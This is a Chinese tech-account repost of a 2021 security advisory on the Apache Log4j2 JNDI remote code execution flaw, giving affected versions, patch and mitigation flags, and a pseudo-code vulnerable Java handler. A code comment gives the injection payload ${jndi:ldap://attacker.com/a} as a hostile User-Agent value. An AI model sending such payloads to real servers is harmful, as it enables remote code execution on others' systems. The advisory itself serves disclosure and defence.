炸锅了!Apache Log4j2 核弹级漏洞公开

Java技术迷

共 2264字,需浏览 5分钟

 ·

2021-12-17 23:31

点击关注公众号,Java干货及时送达

粉丝福利:小编会从今天留言的小伙伴中随机抽赠送8.88元现金红包。娱乐抽奖,大家随缘积极参与啦,给生活一点小幸运~感谢大家的支持
整理 | 叶子
出品 | OSC开源社区(ID:oschina2013)

昨晚,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害。而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者很多互联网企业也都连夜做了应急措施。

漏洞详情:
Apache Log4j 远程代码执行漏洞 
严重程度: 严重
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置
漏洞情况分析:
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞编号:暂缺
漏洞等级:
高危,该漏洞影响范围极广,危害极大。
CVSS评分:10(最高级)
漏洞状态:
 
受影响的版本:
Apache log4j2 2.0 - 2.14.1 版本均受影响。
安全版本:
Apache log4j-2.15.0-rc2

易受攻击代码示例:

import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");

// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "

Hello There, " + userAgent + "!

";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}


漏洞修复方案:
Apache官方已发布补丁,建议受影响的用户尽快升级到安全版本。
补丁下载地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
漏洞缓解措施:
(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
因该组件使用极为广泛,利用门槛很低,危害极大,建议所有用户尽快升级到安全版本。

1、致歉!抖音Semi Design承认参考阿里Ant Design

2、对比7种分布式事务方案,还是偏爱阿里开源的Seata,真香!

3、Redis存储结构体信息,选hash还是string?

4、扫盲 docker 常用命令

5、最全分布式Session解决方案

6、21 款 yyds 的 IDEA插件

7、真香!用 IDEA 神器看源码,效率真高!

点分享

点收藏

点点赞

点在看

浏览 36
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报